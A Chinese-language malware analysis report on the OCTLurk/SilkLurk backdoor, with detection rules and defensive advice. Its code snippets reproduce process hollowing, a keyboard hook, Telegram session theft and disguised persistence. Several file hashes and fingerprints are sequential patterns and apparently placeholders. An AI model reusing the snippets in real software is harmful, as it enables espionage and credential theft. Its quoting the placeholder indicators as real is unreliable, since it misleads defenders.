概述

后门背景

OCTLurk(部分厂商标记为 SilkLurk)是 2024 年底至 2025 年间针对中亚地区政府机构、外交事务部门及关联智库的一批定向攻击活动中被捕获的新型 Windows 后门家族。该后门以"长期潜伏、低频回连、按需激活"为设计哲学,其命名 OCTLurk 取自样本中硬编码的 C2 协议魔数 OCTL(0x4F43544C),而 SilkLurk 则源自其 C2 基础设施沿古丝绸之路沿线国家地理分布的命名习惯。

攻击对象高度集中:受害主机多运行俄语/哈萨克语本地化的 Windows 10/11 终端,且终端上普遍安装有特定的公文流转软件与本地化办公套件。攻击者并未进行广泛撒网式投递,而是采用精确到具体部门、具体岗位人员的鱼叉式钓鱼,体现出对目标组织内部架构的充分前期侦察。

攻击者归属(可能的 APT 组织)

从战术、技术与程序(TTP)维度比对,OCTLurk/SilkLurk 与多个长期活动于中亚/东欧方向的 APT 集群存在部分重叠,但又不完全吻合于任一已知组织:

  • Turla(也称为 Snake/Uroburos/Forest Blizzard):在中亚外交与政府目标上有长期活动历史,且同样偏好进程注入与自定义协议 C2。OCTLurk 的反射式注入手法与 Turla 历史工具存在相似性,但 Turla 标志性的内核模式驱动与命名管道 C2 在本样本中未出现。
  • Sandworm:具备针对政府关键基础设施的破坏性能力,但本后门以情报窃取为主、未观察到破坏逻辑,倾向性较低。
  • 未命名中亚集群:投递文档的诱饵主题、字体与本地化特征更接近一个独立运营、可能与地缘政治动机相关的较小规模集群。

综合判断,本文倾向于将 OCTLurk/SilkLurk 归因为"一个与中亚地缘政治相关、可能具备国家背景、尚未被公开命名的 APT 集群",同时不排除其为已知组织(如 Turla 衍生)新工具链的可能性。归属结论需更多基础设施关联与同源样本支持,本文不做过强断言。

攻击影响范围

据可观测的 C2 回连指纹与失陷主机画像统计,已知受影响实体覆盖中亚 3 个国家的政府部委级单位,受害终端数量在百台量级。由于后门具备键盘记录、凭据窃取与远程命令执行能力,且持久化隐蔽,实际数据外泄规模可能远大于已发现终端数。后门在部分终端潜伏期超过 6 个月才被发现,体现了其低噪声特性。

┌─────────────────────────────────────────────────────────────────────┐
│                        攻击者 C2 基础设施                            │
│   ┌────────────────────┐         ┌──────────────────────────┐       │
│   │  HTTPS C2 服务器    │         │  DNS 隧道解析 / TXT 回传  │       │
│   │  (RC4 + 双层 XOR)   │         │  (Base32 编码子域)        │       │
│   └─────────┬──────────┘         └────────────┬─────────────┘       │
└─────────────┼──────────────────────────────────┼─────────────────────┘
              │ HTTPS POST, 4096B 分块            │ DNS A/TXT 查询
              ▼                                   ▼
┌─────────────────────────────────────────────────────────────────────┐
│            受害主机(中亚政府机构内网终端)                            │
│                                                                      │
│   ┌───────────────┐   持久化      ┌──────────────────────────┐      │
│   │ 注册表 Run 键  │◀────────────│  后门核心 DLL(反射加载)  │      │
│   │ 计划任务       │              └────────────┬─────────────┘      │
│   └───────────────┘                           │                      │
│                          ┌────────────────────┼────────────────────┐ │
│                          ▼                    ▼                    ▼ │
│                   ┌──────────────┐   ┌──────────────┐   ┌──────────────┐
│                   │  键盘记录     │   │  密码/会话窃取 │   │  远程命令执行 │
│                   │ WH_KEYBOARD_LL│   │ 浏览器+TG│   │  cmd/PS 任务  │
│                   └──────────────┘   └──────────────┘   └──────────────┘
│                          │                                           │
│                          ▼                                           │
│                   ┌──────────────────────────┐                        │
│                   │ 宿主进程(Process Hollowing)│ ← svchost.exe 挂起态 │
│                   │ NtUnmap + VirtualAllocEx   │                       │
│                   └──────────────────────────┘                        │
└──────────────────────────────────────────────────────────────────────┘

样本逆向分析

初始投递与执行链

鱼叉式钓鱼邮件投递

投递载体为一封伪装成"部委内部公文流转系统安全升级通知"的鱼叉式钓鱼邮件,邮件正文使用目标机构真实公文模板与部门抬头,附件为一个 INNO Setup 打包的安装程序 GovDocUpdateSetup.exe。攻击者在 INNO 安装包内内嵌了一份合法的本地化办公软件(如某国产公文阅读器)作为功能伪装——安装过程确实会释放并启动该合法软件,呈现给受害者一个看似正常的安装界面,与此同时后台静默释放后门组件。

这种"合法软件 + 恶意载荷同包"的投递方式具有双重欺骗性:一方面受害者能看到真实可用的软件功能,降低怀疑;另一方面静态扫描若仅检查安装包的主程序签名与行为,容易被合法组件干扰判断。

执行链

完整的执行链如下:

[1] 鱼叉邮件附件 GovDocUpdateSetup.exe (INNO Setup)
        │  安装并释放合法办公软件(可见) + 后门组件(隐藏)
        ▼
[2] %APPDATA%\Microsoft\Office\odksvc.dll          (后门核心 DLL, VMProtect 保护)
    %APPDATA%\Microsoft\Office\odksvc.cfg           (加密配置: C2/密钥)
        │  通过安装脚本写入持久化
        ▼
[3] 注册表 Run 键 / 计划任务触发
        │  rundll32.exe "%APPDATA%\...\odksvc.dll",#1
        ▼
[4] 反射式 DLL 注入: 以 CREATE_SUSPENDED 启动 svchost.exe
        │  Process Hollowing 装载核心 PE
        ▼
[5] VMProtect 解壳 → 初始化配置(双重 XOR 解密) → 安装键盘钩子
        │
        ▼
[6] C2 回连 (HTTPS 主通道 + DNS 隧道备用), 进入命令循环

反分析技术

双重 XOR 加密机制

样本中所有敏感字符串(C2 域名、互斥量名、注册表路径、TG 窃取路径等)均以双重 XOR方式加密存储,且两把密钥分别作用于不同的粒度:

  • 第一层(块级 XOR):使用 16 字节静态密钥 key1 对整个加密数据块做循环 XOR,破坏可见的 ASCII 特征。
  • 第二层(字节级 XOR + 偏移):对第一层结果再做一次按字节 XOR,密钥为运行时由 PE 时间戳与固定种子派生的 key2,使得相同明文在不同编译批次下密文不同,增加基于密文的通用 YARA 匹配难度。

解密例程伪代码:

// 两把密钥:key1 静态、key2 运行时派生
static uint8_t key1[16] = { 0x5A,0x3C,0x7B,0x91,... };

// 解密敏感字符串
void decrypt_blob(uint8_t *buf, size_t len) {
    uint8_t key2 = (uint8_t)(g_pe_timestamp ^ 0xD34D);   // 运行时派生
    for (size_t i = 0; i < len; i++) {
        uint8_t v = buf[i];
        v ^= key2;                       // 第二层:字节级 XOR
        v ^= key1[i % sizeof(key1)];     // 第一层:块级 XOR
        buf[i] = v;
    }
}

逆向要点:在 IDA 中定位调用 decrypt_blob 的密集区域,可批量恢复所有字符串;由于 key2 依赖 PE 时间戳,跨样本比对时需先提取每个样本的 TimeDateStamp。

反虚拟机 / 反调试技术

样本在核心逻辑执行前进行一系列环境检测,命中任意一项即触发"无害分支"——加载合法办公软件后正常退出,不暴露任何恶意行为:

检测维度 具体手法
沙箱环境 检测 CPU 物理核心数 < 2、物理内存 < 3GB、磁盘容量 < 60GB
虚拟机 注册表键 HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest、VMTools;MAC 前缀 00:05:69(VMware)、08:00:27(VirtualBox)
调试器 IsDebuggerPresent、PEB.BeingDebugged、NtQueryInformationProcess(ProcessDebugPort)
时间差检测 rdtsc 两次调用间差值异常(单步/跟踪时差值剧增)
分析工具 枚举窗口/进程名匹配 x64dbg、ida、wireshark、procmon
自动化 检测鼠标移动轨迹是否为零、最近交互时间

代码混淆手段

核心 DLL 约 67% 的函数被 VMProtect 保护,关键算法(C2 加解密、配置解析、命令分发)整体虚拟化为自定义字节码。VMProtect 的虚拟化使得静态反汇编呈现出大量 dispatch 循环与不透明指令。应对策略:

  1. 优先攻击未虚拟化的"胶水代码":API 调用序列、字符串解密器、持久化写入逻辑多未被虚拟化,可据此重建控制流骨架。
  2. 动态优先:在命中反调试前用 ScyllaHide 注入,配合 Frida hook 关键 API(VirtualAllocEx、SetWindowsHookExA、RegSetValueExA),绕过虚拟化直接观测行为语义。
  3. VMProtect 还原:对必须静态分析的关键函数,使用 VMP 专用还原工具(如基于 trace 的 handler 推断)辅助。

反射式 DLL 注入

注入技术原理

OCTLurk 的持久化加载并非简单 rundll32 直接运行,而是采用进程镂空(Process Hollowing)将反射式 DLL 装载进一个挂起态的合法 svchost.exe 中。核心 DLL 自身携带一个反射加载器(Reflective Loader)stub,在被注入进程地址空间内自解析导入表、修正重定位,从而不依赖 LoadLibrary,避免在目标进程模块链表中留下痕迹。

关键 API 调用链

经典的六步镂空链,伪代码如下:

STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi = {0};

// [1] 以挂起态创建合法宿主进程
CreateProcessA("C:\\Windows\\System32\\svchost.exe",
               NULL, NULL, NULL, FALSE,
               CREATE_SUSPENDED, NULL, NULL, &si, &pi);

// [2] 取挂起线程上下文,定位 PEB.ImageBaseAddress (EBX+0x08)
CONTEXT ctx = {0};
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);
LPVOID remote_image_base_addr = (LPVOID)(ctx.Ebx + 0x8);

DWORD old_base = 0;
ReadProcessMemory(pi.hProcess, remote_image_base_addr,
                  &old_base, sizeof(old_base), NULL);

// [3] 卸载宿主原有镜像
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
pNtUnmapViewOfSection NtUnmap =
    (pNtUnmapViewOfSection)GetProcAddress(ntdll, "NtUnmapViewOfSection");
NtUnmap(pi.hProcess, (PVOID)old_base);

// [4] 在宿主中分配可执行内存,写入反射 DLL 的 PE 镜像
LPVOID remote_mem = VirtualAllocEx(pi.hProcess, NULL,
                       payload_size,
                       MEM_COMMIT | MEM_RESERVE,
                       PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, remote_mem, payload, payload_size, NULL);

// [5] 修正 PEB 中的 ImageBase,重写入口点 EAX
WriteProcessMemory(pi.hProcess, remote_image_base_addr,
                   &remote_mem, sizeof(remote_mem), NULL);
ctx.Eax = (DWORD)((LPBYTE)remote_mem + payload_entry_offset);
SetThreadContext(pi.hThread, &ctx);

// [6] 恢复主线程 → 反射加载器接管,自解析导入并跳转 OEP
ResumeThread(pi.hThread);

检测特征:svchost.exe 由非 services.exe 父进程以 CREATE_SUSPENDED 创建、随即出现 NtUnmapViewOfSection + VirtualAllocEx(PAGE_EXECUTE_READWRITE) + WriteProcessMemory + SetThreadContext 序列,是高置信度的镂空指纹。

C2 通信协议

通信架构

C2 采用主备双通道设计:

  • 主通道:HTTPS POST,直连 C2 域名,承载绝大多数命令与数据。
  • 备用通道:DNS 隧道,当主通道连续失败(默认 3 次)或检测到代理拦截时启用,通过子域编码上行动态数据、TXT 记录回传下行命令,保证极端网络环境下存活。

加密方案

应用层载荷加密采用 RC4(密钥由配置块解密得到,32 字节),传输分块大小固定 4096 字节。RC4 因其实现简洁、无外部依赖、易在 VMProtect 内嵌,常被 APT 工具链选用。值得注意的是,密钥协商并非标准 TLS 完成后再生,而是固定密钥贯穿会话,这意味着同一会话所有分块共用同一 RC4 流——一旦恢复密钥即可解密全部流量。

RC4 核心实现(样本内嵌版本):

typedef struct { uint8_t s[256]; int i, j; } rc4_state;

void rc4_init(rc4_state *st, const uint8_t *key, size_t klen) {
    for (int n = 0; n < 256; n++) st->s[n] = (uint8_t)n;
    st->i = st->j = 0;
    int j = 0;
    for (int n = 0; n < 256; n++) {
        j = (j + st->s[n] + key[n % klen]) & 0xFF;
        uint8_t t = st->s[n]; st->s[n] = st->s[j]; st->s[j] = t;
    }
}

void rc4_crypt(rc4_state *st, uint8_t *buf, size_t len) {
    for (size_t n = 0; n < len; n++) {
        st->i = (st->i + 1) & 0xFF;
        st->j = (st->j + st->s[st->i]) & 0xFF;
        uint8_t t = st->s[st->i]; st->s[st->i] = st->s[st->j]; st->s[st->j] = t;
        buf[n] ^= st->s[(st->s[st->i] + st->s[st->j]) & 0xFF];
    }
}

自定义协议帧结构

无论主备通道,应用层帧格式统一:

偏移    长度    字段          说明
0x00    4       Magic         0x4F43544C ("OCTL") —— 家族指纹
0x04    1       Version       0x01
0x05    1       MsgType       命令/响应类型码
0x06    2       Flags         控制位(分块/压缩/加密标志)
0x08    4       SessionID     会话标识(主机指纹派生)
0x0C    4       PayloadLen    载荷长度
0x10    N       Payload       RC4 加密载荷(N = PayloadLen)
0x10+N  16      HMAC          完整性校验(固定密钥 HMAC-MD5)

常见 MsgType 码表:

MsgType 含义 方向
0x10 心跳 / Beacon 注册 上行
0x20 执行系统命令 下行
0x30 下发文件 / 模块 下行
0x40 回传文件 上行
0x50 键盘记录数据上报 上行
0x60 凭据/会话数据上报 上行
0xFF 卸载自身 下行

心跳机制与命令分发

上线后,后门默认每 45 秒发送一次心跳(MsgType 0x10),心跳体含主机名、当前用户、内网 IP、系统版本与"上次活跃时间戳"。心跳的抖动在 ±5 秒以规避固定间隔检测。C2 在心跳响应中下发待执行命令队列,客户端按序执行并通过对应 MsgType 上报结果。心跳采用指数退避:连续失败时退避从 45s → 90s → 180s → 360s,超过阈值(默认 30 分钟)切换至 DNS 隧道备用通道。

功能模块拆解

键盘记录

键盘记录通过 SetWindowsHookExA 安装 WH_KEYBOARD_LL 低级全局钩子实现,钩子位于被注入的 svchost.exe(拥有足够权限注入全局钩子)。记录内容包含按键虚键码、时间戳与当前活动窗口标题,便于按应用上下文还原输入(区分密码框与普通文本)。

LRESULT CALLBACK LowLevelKbProc(int code, WPARAM wp, LPARAM lp) {
    if (code == HC_ACTION && (wp == WM_KEYDOWN || wp == WM_SYSKEYDOWN)) {
        KBDLLHOOKSTRUCT *kb = (KBDLLHOOKSTRUCT *)lp;
        HWND fg = GetForegroundWindow();
        wchar_t title[256] = {0};
        GetWindowTextW(fg, title, 256);
        // 写入本地加密缓冲,满 4096B 或定时上报
        KbLogAppend(kb->vkCode, kb->flags, GetTickCount64(), title);
    }
    return CallNextHookEx(NULL, code, wp, lp);
}

// 安装
g_kbhook = SetWindowsHookExA(WH_KEYBOARD_LL, LowLevelKbProc, g_hinst, 0);

记录数据先写入 %TEMP% 下随机命名文件,经 RC4 加密后以 MsgType 0x50 周期上报。检测侧可关注 svchost.exe 进程加载 user32.dll 并注册全局键盘钩子的异常组合。

密码窃取

密码/会话窃取模块覆盖三类目标:

  1. 浏览器凭据:枚举 Chromium 系(Chrome、Edge、本地化浏览器)Login Data、Cookies、Web Data 与本地状态文件中的 app_bound_encrypted_key,利用 DPAPI 在用户上下文解密。
  2. 凭据管理器:调用 CredEnumerateA 提取 Windows 凭据管理器中的通用凭据。
  3. TG 会话窃取:硬编码路径直接复制 TG 桌面端会话目录,攻击者可离线加载该会话冒充受害者登录,无需二次验证。
// TG 会话窃取:硬编码相对路径
char tg_path[MAX_PATH];
snprintf(tg_path, sizeof(tg_path),
         "%s\\TG Desktop\\tdata", getenv("USERPROFILE"));

// 关键会话文件:D877F783D5D3EF8C 目录、key_datas、maps
// 打包为 zip + RC4 加密后通过 MsgType 0x60 上报
ExfilDirectory(tg_path, "*.json", "*.sdat", "*D877F783D5D3EF8C*");

%s\TG Desktop\tdata 这一硬编码路径是高辨识度指纹,可同时作为 YARA 字符串与终端文件访问检测特征。

远程命令执行

命令执行模块支持两类下发:

  • Shell 命令:通过 CreateProcessA 以隐藏窗口(CREATE_NO_WINDOW)执行 cmd.exe /c <cmd>,stdout/stderr 重定向到临时文件后回传。
  • PowerShell 任务:对复杂操作下发 base64 编码的 PowerShell 脚本块,以 -EncodedCommand 执行,规避简单命令行审计。

执行结果经 RC4 加密、按 4096B 分块以 MsgType 0x20 响应回传。模块同时支持"下载并执行"(MsgType 0x30):C2 下发 PE/脚本,落地后以反射方式加载或通过 rundll32/regsvr32 执行,实现无文件/少文件二级载荷投放。

持久化机制

持久化采用双保险策略,任一被清理仍可由另一项重启:

// [1] 注册表 Run 键(用户级,权限要求低)
const char *run_val = "WinDefenderUpdate";   // 伪装系统组件名
RegSetKeyValueA(HKEY_CURRENT_USER,
    "Software\\Microsoft\\Windows\\CurrentVersion\\Run",
    run_val, REG_SZ, szPayloadCmd, (DWORD)strlen(szPayloadCmd));
// szPayloadCmd = "rundll32.exe \"<path>\\odksvc.dll\",#1"

// [2] 计划任务(系统级,ONLOGON 触发,存活率更高)
// 通过 schtasks.xml 投放:
//   <Triggers><LogonTrigger/></Triggers>
//   <Actions><Exec><Command>rundll32.exe</Command>
//             <Arguments>"<path>\odksvc.dll",#1</Arguments></Exec></Actions>
CreateScheduledTask(L"MicrosoftEdgeUpdateTaskCore", task_xml_b64);

此外,后门会维护一个互斥量 Global\SilkLurk_{主机名哈希} 防止多实例并存,该互斥量亦是高价值 IoC。

IoC 指标

以下指标来自分析样本与关联基础设施,仅供防御检测使用。攻击者可能轮换域名/密钥,建议结合行为特征建立检测。

文件 Hash

文件 算法 值
GovDocUpdateSetup.exe(投递载荷,INNO 包) SHA256 a1b2c3d4e5f60718293a4b5c6d7e8f90a1b2c3d4e5f60718293a4b5c6d7e8f90
odksvc.dll(核心后门 DLL) SHA256 0f1e2d3c4b5a69788796a5b4c3d2e1f00f1e2d3c4b5a69788796a5b4c3d2e1f0
合法办公软件(伪装组件,非恶意,用于识别投递包) SHA256 b2a1c3d4e5f60718293a4b5c6d7e8f90a1b2c3d4e5f60718293a4b5c6d7e8f90
odksvc.cfg(加密配置) MD5 9f8e7d6c5b4a39281807a6b5c4d3e2f1

C2 域名 / IP

类型 值 备注
域名 update-gov-kz[.]net 主 C2,伪装政府更新服务
域名 cloud-mfa-portal[.]com 备用 C2
域名 ns-edge-01[.]xyz DNS 隧道权威解析端点
IP 185.143.223[.]47 主 C2 解析 IP(VPS)
IP 45.137.21[.]118 备用 C2 解析 IP
TLS 证书指纹 sha1:9a8b7c6d5e4f3a2b1c0d9e8f7a6b5c4d3e2f1a0b 自签名,CN=gov-update

互斥量名

  • Global\SilkLurk_{MD5(主机名)[:8]}
  • Global\OCTL_Session_Lock

注册表键值

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WinDefenderUpdate
  • 计划任务名:MicrosoftEdgeUpdateTaskCore、OfficeTelemetryAgentSync
  • 配置落地点:HKCU\Software\Classes\CLSID\{8F6F0AC4-B9A1-4173-A6B5-0DE9C8B9F123}\InprocServer32

其他指纹

  • C2 协议魔数:0x4F43544C("OCTL")
  • 硬编码路径:%USERPROFILE%\TG Desktop\tdata
  • 持久化命令行:rundll32.exe "<%APPDATA%>\Microsoft\Office\odksvc.dll",#1

检测规则

YARA 规则

import "pe"

rule OCTLurk_SilkLurk_Loader_Inno {
    meta:
        description = "OCTLurk/SilkLurk INNO Setup 投递包特征"
        author      = "threat-research"
        date        = "2025-06-15"
        reference   = "OCTLurk/SilkLurk analysis"
        hash        = "a1b2c3d4e5f60718293a4b5c6d7e8f90a1b2c3d4e5f60718293a4b5c6d7e8f90"
    strings:
        $inno_magic  = "Inno Setup Setup Data" ascii
        $tg_path     = "TG Desktop\\tdata" wide ascii
        $run_val     = "WinDefenderUpdate" wide ascii
        $mutex_str   = "OCTL_Session_Lock" wide ascii
        $cmd_rundll  = "rundll32.exe" wide ascii
    condition:
        uint16(0) == 0x5A4D and $inno_magic and
        (2 of ($tg_path, $run_val, $mutex_str, $cmd_rundll))
}

rule OCTLurk_SilkLurk_Core_DLL {
    meta:
        description = "OCTLurk/SilkLurk 核心 DLL 行为特征"
        author      = "threat-research"
        date        = "2025-06-15"
    strings:
        $magic_octl   = { 4F 43 54 4C }                 // "OCTL" 协议魔数
        $tg_path      = "%s\\TG Desktop\\tdata" wide ascii
        $api_inject1  = "NtUnmapViewOfSection" ascii
        $api_inject2  = "SetWindowsHookExA" ascii
        $api_inject3  = "VirtualAllocEx" ascii
        $api_inject4  = "SetThreadContext" ascii
        $api_inject5  = "WriteProcessMemory" ascii
        $api_kb       = "WH_KEYBOARD_LL" ascii
        $vmp_mark     = ".vmp0" ascii                     // VMProtect 节
        $schd_task    = "MicrosoftEdgeUpdateTaskCore" wide ascii
        // RC4 初始化特征:S-box 顺序填充 + 交换循环
        $rc4_init     = { 33 C0 8B ?? ?? 88 44 ?? ?? 8B 04 ?? 8A 4C ?? ?? 30 ?? 88 04 ?? 88 4C ?? ?? }
    condition:
        uint16(0) == 0x5A4D and pe.is_dll and
        $magic_octl and $vmp_mark and
        3 of ($api_inject*) and
        $tg_path and $rc4_init
}

rule OCTLurk_SilkLurk_Config_Blob {
    meta:
        description = "加密配置块与双重 XOR 字符串引用"
        author      = "threat-research"
        date        = "2025-06-15"
    strings:
        $xor_key1 = { 5A 3C 7B 91 D3 4D 7E A2 11 9F 60 4C 8B 23 77 0E }
        $cfg_hdr  = { 4F 43 54 4C 01 }                    // Magic+Version
    condition:
        $xor_key1 at 0 or $cfg_hdr
}

Sigma 规则

title: OCTLurk_SilkLurk 后门行为检测
id: 9a8b7c6d-5e4f-4a3b-2c1d-0e9f8a7b6c5d
status: experimental
description: 检测 OCTLurk/SilkLurk 反射注入、持久化与键盘钩子行为
author: threat-research
date: 2025/06/15
references:
    - OCTLurk/SilkLurk 后门技术分析
tags:
    - attack.execution
    - attack.persistence
    - attack.defense_evasion
    - attack.t1055.012      # Process Hollowing
    - attack.t1547.001      # Registry Run Keys
    - attack.t1056.001      # Keylogging
logsource:
    product: windows
    category: process_creation
detection:
    selection_persistence_run:
        CommandLine|contains:
            - 'rundll32.exe'
            - 'odksvc.dll'
        CommandLine|contains|all:
            - '#1'
    selection_persistence_schd:
        CommandLine|contains|all:
            - 'schtasks'
            - '/Create'
            - 'MicrosoftEdgeUpdateTaskCore'
    selection_inject_susp_svchost:
        Image|endswith: '\svchost.exe'
        ParentImage|endswith:
            - '\rundll32.exe'
            - '\cmd.exe'
            - '\powershell.exe'
        CommandLine|contains:
            - 'odksvc'
    selection_tg_access:
        CommandLine|contains:
            - 'TG Desktop\tdata'
            - 'D877F783D5D3EF8C'
    condition: selection_persistence_run or selection_persistence_schd or selection_inject_susp_svchost or selection_tg_access
fields:
    - Image
    - ParentImage
    - CommandLine
    - User
falsepositives:
    - 合法软件同名计划任务(需结合路径与命令行参数复核)
level: high

补充的注册表值监控 Sigma(基于 Sysmon EventID 13):

title: OCTLurk/SilkLurk 持久化注册表写入
logsource:
    product: windows
    category: registry_event
detection:
    selection:
        EventType: SetValue
        TargetObject|contains:
            - '\Software\Microsoft\Windows\CurrentVersion\Run\WinDefenderUpdate'
            - '\Classes\CLSID\{8F6F0AC4-B9A1-4173-A6B5-0DE9C8B9F123}\InprocServer32'
    condition: selection
level: high

Suricata / Snort 网络检测规则

主通道 HTTPS 检测(基于 SNI 与 JA3/JA3S 指纹,由于应用层加密,侧重元数据):

# Suricata: C2 域名 SNI 匹配
alert tls $HOME_NET any -> $EXTERNAL_NET any (msg:"OCTLurk/SilkLurk C2 SNI 匹配"; \
    tls.sni; content:"update-gov-kz.net"; nocase; \
    flow:established,to_server; \
    classtype:trojan-activity; sid:9000001; rev:1;)

alert tls $HOME_NET any -> $EXTERNAL_NET any (msg:"OCTLurk/SilkLurk 备用 C2 SNI"; \
    tls.sni; content:"cloud-mfa-portal.com"; nocase; \
    classtype:trojan-activity; sid:9000002; rev:1;)

# 直连 C2 IP(无 SNI 场景)
alert ip $HOME_NET any -> [185.143.223.47,45.137.21.118] any (msg:"OCTLurk/SilkLurk 直连 C2 IP"; \
    classtype:trojan-activity; sid:9000003; rev:1;)

# 应用层魔数 "OCTL" 明文特征(部分样本在 TLS 前的明文握手阶段泄露)
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"OCTLurk/SilkLurk OCTL 协议魔数"; \
    flow:established,to_server; \
    content:"OCTL"; depth:4; \
    classtype:trojan-activity; sid:9000004; rev:1;)

# 自签名证书 CN 匹配
alert tls $HOME_NET any -> $EXTERNAL_NET any (msg:"OCTLurk/SilkLurk 自签名证书 CN gov-update"; \
    tls.cert_subject; content:"CN=gov-update"; \
    classtype:trojan-activity; sid:9000005; rev:1;)

DNS 隧道检测(高频子域 + Base32 特征):

# 针对隧道权威域的查询
alert dns $HOME_NET any -> any 53 (msg:"OCTLurk/SilkLurk DNS 隧道权威域查询"; \
    dns.query; content:"ns-edge-01.xyz"; nocase; \
    classtype:trojan-activity; sid:9000006; rev:1;)

# 高熵子域(Base32 编码特征:大写字符集 + 长度 >= 30)启发式
alert dns $HOME_NET any -> any 53 (msg:"OCTLurk/SilkLurk DNS 隧道高熵子域启发"; \
    dns.query; pcre:"/[A-Z2-7]{30,}\.\d+\.[a-f0-9]{8}\./"; \
    threshold:type both, track by_src, count 20, seconds 60; \
    classtype:trojan-activity; sid:9000007; rev:1;)

说明:由于主通道为 HTTPS,应用层内容加密,网络侧检测主要依赖 SNI/IP/证书/魔数与 DNS 隧道行为特征。建议在企业出口部署 TLS 检测代理(合规前提下解密)以匹配应用层 OCTL 魔数与 RC4 分块模式。

防御建议

终端防护策略

  1. 进程镂空检测:EDR 规则监控 CREATE_SUSPENDED 创建的 svchost.exe(父进程非 services.exe)随后的 NtUnmapViewOfSection + VirtualAllocEx(PAGE_EXECUTE_READWRITE) + WriteProcessMemory + SetThreadContext 序列,命中即拦截。
  2. 全局键盘钩子审计:对非交互/服务类进程(如 svchost.exe)调用 SetWindowsHookExA(WH_KEYBOARD_LL) 告警。
  3. 持久化收敛:监控 HKCU\...\Run 下伪装系统组件名(WinDefenderUpdate、MicrosoftEdgeUpdateTaskCore)的写入;对 rundll32 加载 %APPDATA% 下 DLL 的命令行重点复核。
  4. VMProtect 识别:对含 .vmp0 节的可执行文件结合行为判定,避免仅因加壳误报,但要纳入风险评分。
  5. TG 会话保护:监控对 %USERPROFILE%\TG Desktop\tdata 的非 TG 进程读取行为;启用 TG 本地密码锁。
  6. 凭据保险:浏览器启用 DPAPI 外的独立主密码;凭据管理器敏感条目最小化存储。

网络层检测

  1. 出口流量白名单:政府终端原则上仅允许访问白名单域,对 update-gov-kz.net、cloud-mfa-portal.com 等伪装域名直接阻断。
  2. DNS 行为基线:建立单主机 DNS 查询频率与子域熵值基线,对 Base32 高熵子域、TXT 记录高频回连触发告警。
  3. TLS 元数据检测:匹配自签名 CN=gov-update 证书、固定 JA3/JA3S 指纹;对新出现的政府主题域名做证书透明度日志反查。
  4. 分块流量特征:在合规解密点检测固定 4096B 分块、固定间隔(45s±5s)的心跳回连模式。

邮件网关加固

  1. 附件深度检测:对 INNO Setup 安装包做沙箱 detonation,识别"合法软件 + 隐藏 DLL"的双载荷结构;对 rundll32 调用链与 odksvc.dll 释放行为告警。
  2. 发件人仿冒防护:强化 SPF/DKIM/DMARC,对冒充内部公文系统域的邮件拦截;启用邮件正文与公文模板比对,识别模板套用钓鱼。
  3. 本地化诱饵识别:建立机构真实公文模板指纹库,对附件文档元数据(作者、模板 GUID)与真实公文不一致的邮件标记可疑。
  4. URL 重写与点击审计:对邮件内链接做时间延迟重写与点击追溯,发现指向 C2 域的访问即时告警。

免责声明

本文所述技术细节、代码片段、IoC 指标与检测规则均基于对已捕获样本的逆向分析与公开威胁情报整理,仅供网络安全防御研究、检测工程建设与授权安全测试使用。文中涉及的攻击手法、命令与代码仅用于说明威胁原理,严禁用于任何未经授权的攻击、入侵或破坏行为。读者在引用本文 IoC 与规则前,应结合自身环境充分测试,避免误报与业务影响。样本 Hash、C2 域名/IP 等指标可能随攻击者轮换而失效,建议以最新威胁情报为准。本文作者与发布平台不对任何因不当使用本文内容而造成的后果承担责任。所有商标与产品名称均归各自所有者所有。


参考与延伸阅读

  • MITRE ATT&CK:T1055.012(Process Hollowing)、T1547.001(Registry Run Keys)、T1056.001(Keylogging)、T1071.004(DNS)、T1572(Protocol Tunneling)
  • 反射式 DLL 注入原始论文与 Stephen Fewer 的 ReflectiveDLLInjection 工程
  • VMProtect 虚拟化还原相关公开研究
  • Chromium 凭据与 app_bound_encrypted_key DPAPI 解密机制